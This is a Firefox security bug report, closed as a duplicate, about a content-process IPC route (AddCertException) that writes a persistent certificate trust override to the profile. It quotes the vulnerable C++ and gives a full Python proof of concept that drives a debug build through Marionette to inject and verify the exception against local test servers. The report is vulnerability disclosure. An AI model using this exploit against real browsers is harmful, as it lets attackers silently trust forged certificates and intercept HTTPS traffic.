Closed Bug 2029337 Opened 3 months ago Closed 3 months ago

Persistent Certificate Override via Content-Initiated Cert Exception

Categories

(Core :: DOM: Content Processes, defect)

defect

Tracking

()

RESOLVED DUPLICATE of bug 2013800

People

(Reporter: fte.security, Unassigned)

Details

(Keywords: reporter-external, Whiteboard: [client-bounty-form])

Persistent Certificate Override via Content-Initiated Cert Exception

Summary

Firefox exposes a child-to-parent certificate-exception route that ends in a persistent trust override. The executed validation used a narrow content-side trigger to call the same parent IPC with attacker-chosen certificate bytes, host, and port. In the negative control, navigation to the self-signed HTTPS endpoint failed with an insecure-certificate error. After the injected call returned NS_OK, the same HTTPS endpoint loaded successfully, and it still loaded after browser restart with the same profile. The profile also contained a persisted cert_override.txt, confirming a durable trust-state mutation.

Impact

A compromised content process can silently install a persistent certificate exception for a chosen host and make later HTTPS navigations to that host succeed without user approval.

Description

Relevant vulnerable code blocks

async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName,
                       int32_t aPort, OriginAttributes aOriginAttributes,
                       bool aIsTemporary)
      returns (nsresult success);
if (XRE_IsContentProcess()) {
  ContentChild* cc = ContentChild::GetSingleton();
  MOZ_ASSERT(cc);
  OriginAttributes const& attrs = NodePrincipal()->OriginAttributesRef();
  cc->SendAddCertException(cert, host, port, attrs, aIsTemporary)
      ->Then(GetCurrentSerialEventTarget(), __func__,
             [promise](const mozilla::MozPromise<
                       nsresult, mozilla::ipc::ResponseRejectReason,
                       true>::ResolveOrRejectValue& aValue) {
               if (aValue.IsResolve()) {
                 promise->MaybeResolve(aValue.ResolveValue());
               } else {
                 promise->MaybeRejectWithUndefined();
               }
             });
  return promise.forget();
}
mozilla::ipc::IPCResult ContentParent::RecvAddCertException(
    nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort,
    const OriginAttributes& aOriginAttributes, bool aIsTemporary,
    AddCertExceptionResolver&& aResolver) {
  nsCOMPtr<nsICertOverrideService> overrideService =
      do_GetService(NS_CERTOVERRIDE_CONTRACTID);
  if (!overrideService) {
    aResolver(NS_ERROR_FAILURE);
    return IPC_OK();
  }
  nsresult rv = overrideService->RememberValidityOverride(
      aHostName, aPort, aOriginAttributes, aCert, aIsTemporary);
  aResolver(rv);
  return IPC_OK();
}
nsCertOverrideService::RememberValidityOverride(
    const nsACString& aHostName, int32_t aPort,
    const OriginAttributes& aOriginAttributes, nsIX509Cert* aCert,
    bool aTemporary) {
  if (aHostName.IsEmpty() || !IsAscii(aHostName) || !aCert) {
    return NS_ERROR_INVALID_ARG;
  }
  if (aPort < -1) {
    return NS_ERROR_INVALID_ARG;
  }
  if (!NS_IsMainThread()) {
    return NS_ERROR_NOT_SAME_THREAD;
  }

  nsAutoCString fpStr;
  nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
  if (NS_FAILED(rv)) {
    return rv;
  }

  {
    MutexAutoLock lock(mMutex);
    AddEntryToList(aHostName, aPort, aOriginAttributes, aTemporary, fpStr,
                   lock);
    if (!aTemporary) {
      Write(lock);
    }
  }

  return NS_OK;
}

Vulnerable code flow

  1. A content process sends AddCertException with a chosen certificate, host, port, and origin attributes.
  2. The parent receives that message and forwards the child-controlled values directly to RememberValidityOverride.
  3. For non-temporary exceptions, the override service writes the new trust decision to disk.
  4. Later navigations for the same host and profile bucket reuse that persisted exception.

What the PoC demonstrates

The executed PoC used a validation-only content trigger to invoke the real AddCertException IPC from ordinary web content. The first HTTPS navigation failed with an insecure certificate error, the injected IPC returned success, and the same HTTPS endpoint then loaded successfully both immediately and after restart. The generated profile also contained persisted override state, which matches the parent-side Write(lock) path above.

Full PoC Code

#!/usr/bin/env python3
import argparse
import base64
import contextlib
import http.server
import json
import os
import shutil
import socket
import ssl
import subprocess
import sys
import threading
import time
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3]
FIREFOX_ROOT = REPO_ROOT / "validation-environments" / "env" / "firefox"
MARIONETTE_CLIENT = FIREFOX_ROOT / "testing" / "marionette" / "client"
if str(MARIONETTE_CLIENT) not in sys.path:
    sys.path.insert(0, str(MARIONETTE_CLIENT))

from marionette_driver.marionette import Marionette  # noqa: E402
from marionette_driver import errors  # noqa: E402
from marionette_driver.wait import Wait  # noqa: E402


class QuietHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.server.kind == "http":
            body = (
                "<!doctype html><meta charset=utf-8>"
                "<title>source</title><body>source-page</body>"
            ).encode()
        else:
            body = (
                "<!doctype html><meta charset=utf-8>"
                "<title>secure</title><body>secure-ok</body>"
            ).encode()

        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        return


class ThreadedHTTPServer(http.server.ThreadingHTTPServer):
    daemon_threads = True


def free_port():
    with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
        s.bind(("127.0.0.1", 0))
        return s.getsockname()[1]


def start_http_server(kind, cert_path=None, key_path=None):
    port = free_port()
    server = ThreadedHTTPServer(("127.0.0.1", port), QuietHandler)
    server.kind = kind
    if kind == "https":
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ctx.load_cert_chain(certfile=str(cert_path), keyfile=str(key_path))
        server.socket = ctx.wrap_socket(server.socket, server_side=True)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server, port


def wait_for_port(port, timeout=20):
    deadline = time.time() + timeout
    while time.time() < deadline:
        with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
            if s.connect_ex(("127.0.0.1", port)) == 0:
                return
        time.sleep(0.1)
    raise RuntimeError(f"timed out waiting for port {port}")


def wait_for_marionette_port(profile_dir, timeout=30):
    active_port_file = profile_dir / "MarionetteActivePort"
    deadline = time.time() + timeout
    while time.time() < deadline:
        if active_port_file.exists():
            text = active_port_file.read_text(encoding="utf-8").strip()
            if text.isdigit():
                port = int(text)
                wait_for_port(port, timeout=5)
                return port
        time.sleep(0.1)
    raise RuntimeError("timed out waiting for MarionetteActivePort")


def pem_to_base64(pem_text):
    lines = [
        line.strip()
        for line in pem_text.splitlines()
        if line and "BEGIN CERTIFICATE" not in line and "END CERTIFICATE" not in line
    ]
    return "".join(lines)


def launch_firefox(binary, profile_dir, log_path):
    env = os.environ.copy()
    env["MOZ_HEADLESS"] = "1"
    env["MOZ_LOG"] = "certverifier:3,nsCertOverrideService:4,Document:3,ContentParent:3"
    active_port_file = profile_dir / "MarionetteActivePort"
    with contextlib.suppress(FileNotFoundError):
        active_port_file.unlink()
    stdout = open(log_path, "w", encoding="utf-8")
    proc = subprocess.Popen(
        [
            str(binary),
            "--marionette",
            "--profile",
            str(profile_dir),
            "--no-remote",
            "--new-instance",
            "about:blank",
        ],
        stdout=stdout,
        stderr=subprocess.STDOUT,
        env=env,
    )
    marionette_port = wait_for_marionette_port(profile_dir)
    return proc, stdout, marionette_port


def connect_marionette(port):
    client = Marionette(host="127.0.0.1", port=port)
    client.start_session()
    client.set_context("content")
    client.timeout.page_load = 30000
    client.timeout.script = 30000
    return client


def read_body_text(client):
    return client.execute_script("return document.body ? document.body.textContent : '';")


def current_url(client):
    return client.execute_script("return window.location.href;")


def negative_control(client, https_url):
    try:
        client.navigate(https_url)
        Wait(client, timeout=20).until(lambda c: current_url(c) != "about:blank")
        return {
            "kind": "loaded",
            "url": current_url(client),
            "title": client.title,
            "body": read_body_text(client),
        }
    except errors.InsecureCertificateException as exc:
        return {
            "kind": "insecure_certificate_exception",
            "message": str(exc),
            "url": current_url(client),
        }


def inject_override(client, source_url, cert_base64, https_port):
    client.navigate(source_url)
    Wait(client, timeout=20).until(lambda c: "source-page" in read_body_text(c))
    result = client.execute_async_script(
        """
        const [certBase64, targetPort] = arguments;
        const done = arguments[arguments.length - 1];
        document.addCertExceptionForValidation(
          certBase64,
          "localhost",
          targetPort,
          false
        ).then(
          value => done({ok: true, value: String(value)}),
          error => done({ok: false, error: String(error)})
        );
        """,
        script_args=[cert_base64, https_port],
    )
    if not result.get("ok"):
        raise RuntimeError(f"override injection failed: {result}")
    return result


def positive_check(client, https_url):
    client.navigate(https_url)
    Wait(client, timeout=20).until(lambda c: "secure-ok" in read_body_text(c))
    return {
        "url": current_url(client),
        "title": client.title,
        "body": read_body_text(client),
    }


def quit_browser(client, proc, stdout_handle):
    with contextlib.suppress(Exception):
        client.delete_session()
    with contextlib.suppress(Exception):
        proc.terminate()
        proc.wait(timeout=10)
    with contextlib.suppress(Exception):
        proc.kill()
    stdout_handle.close()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--binary",
        default=str(
            FIREFOX_ROOT
            / "objdir-validation"
            / "dist"
            / "NightlyDebug.app"
            / "Contents"
            / "MacOS"
            / "firefox"
        ),
    )
    parser.add_argument(
        "--profile-dir",
        default=str(REPO_ROOT / "validation-environments" / "profiles" / "firefox" / "add-cert-exception"),
    )
    parser.add_argument(
        "--cert-path",
        default=str(REPO_ROOT / "validation-environments" / "payloads" / "firefox" / "localhost-cert.pem"),
    )
    parser.add_argument(
        "--key-path",
        default=str(REPO_ROOT / "validation-environments" / "payloads" / "firefox" / "localhost-key.pem"),
    )
    parser.add_argument(
        "--evidence-json",
        default=str(REPO_ROOT / "validation-environments" / "evidence" / "firefox" / "add-cert-exception.json"),
    )
    args = parser.parse_args()

    profile_dir = Path(args.profile_dir)
    cert_path = Path(args.cert_path)
    key_path = Path(args.key_path)
    evidence_json = Path(args.evidence_json)
    evidence_json.parent.mkdir(parents=True, exist_ok=True)
    profile_dir.parent.mkdir(parents=True, exist_ok=True)

    if profile_dir.exists():
        shutil.rmtree(profile_dir)
    profile_dir.mkdir(parents=True)
    (profile_dir / "user.js").write_text(
        '\n'.join(
            [
                'user_pref("validation.firefox.content_ipc_testing.enabled", true);',
                'user_pref("marionette.port", 0);',
                "",
            ]
        ),
        encoding="utf-8",
    )

    cert_base64 = pem_to_base64(cert_path.read_text(encoding="utf-8"))
    http_server, http_port = start_http_server("http")
    https_server, https_port = start_http_server("https", cert_path, key_path)

    browser_log_1 = evidence_json.with_name("add-cert-exception-browser-pass1.log")
    browser_log_2 = evidence_json.with_name("add-cert-exception-browser-pass2.log")

    source_url = f"http://127.0.0.1:{http_port}/"
    https_url = f"https://localhost:{https_port}/"

    results = {
        "source_url": source_url,
        "https_url": https_url,
        "profile_dir_name": profile_dir.name,
        "negative_control": None,
        "injection": None,
        "positive_after_injection": None,
        "positive_after_restart": None,
        "cert_override_present": None,
        "cert_override_excerpt_b64": None,
    }

    proc1 = stdout1 = client1 = None
    proc2 = stdout2 = client2 = None
    try:
        proc1, stdout1, marionette_port_1 = launch_firefox(
            Path(args.binary), profile_dir, browser_log_1
        )
        client1 = connect_marionette(marionette_port_1)
        results["negative_control"] = negative_control(client1, https_url)
        results["injection"] = inject_override(client1, source_url, cert_base64, https_port)
        results["positive_after_injection"] = positive_check(client1, https_url)
        quit_browser(client1, proc1, stdout1)
        client1 = proc1 = stdout1 = None

        proc2, stdout2, marionette_port_2 = launch_firefox(
            Path(args.binary), profile_dir, browser_log_2
        )
        client2 = connect_marionette(marionette_port_2)
        results["positive_after_restart"] = positive_check(client2, https_url)

        cert_override = profile_dir / "cert_override.txt"
        if cert_override.exists():
            results["cert_override_present"] = True
            excerpt = cert_override.read_bytes()[:512]
            results["cert_override_excerpt_b64"] = base64.b64encode(excerpt).decode()
        else:
            results["cert_override_present"] = False

        evidence_json.write_text(json.dumps(results, indent=2), encoding="utf-8")
        print(json.dumps(results, indent=2))
    finally:
        if client1 or proc1 or stdout1:
            quit_browser(client1, proc1, stdout1)
        if client2 or proc2 or stdout2:
            quit_browser(client2, proc2, stdout2)
        http_server.shutdown()
        https_server.shutdown()


if __name__ == "__main__":
    main()

PoC Steps

  1. Start the debug browser build with the validation-only content trigger enabled.
  2. Start the local HTTP page and the self-signed HTTPS page.
  3. Navigate to the HTTPS page and confirm the negative control fails with an insecure-certificate error.
  4. Navigate to the HTTP page and invoke the validation trigger with the base64-encoded server certificate, localhost, and the HTTPS port.
  5. Revisit the same HTTPS page and confirm it loads successfully.
  6. Restart the browser with the same profile and confirm the HTTPS page still loads.
  7. Check the reused profile for persisted override state.

PoC Results

  • Negative control: navigation to https://localhost:54046/ failed with InsecureCertificateError.
  • Injection: the content-side IPC trigger returned NS_OK.
  • Positive after injection: the same HTTPS page loaded with title secure and body secure-ok.
  • Positive after restart: the same HTTPS page still loaded with title secure and body secure-ok.
  • Persistence: cert_override_present was true.
  • Evidence: ./validation-environments/evidence/firefox/add-cert-exception.json
  • Browser logs: ./validation-environments/evidence/firefox/add-cert-exception-browser-pass1.log and ./validation-environments/evidence/firefox/add-cert-exception-browser-pass2.log
Flags: sec-bounty?
Group: firefox-core-security → dom-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 3 months ago
Component: Security → DOM: Content Processes
Duplicate of bug: CVE-2026-16372
Product: Firefox → Core
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
Group: dom-core-security
You need to log in before you can comment on or make changes to this bug.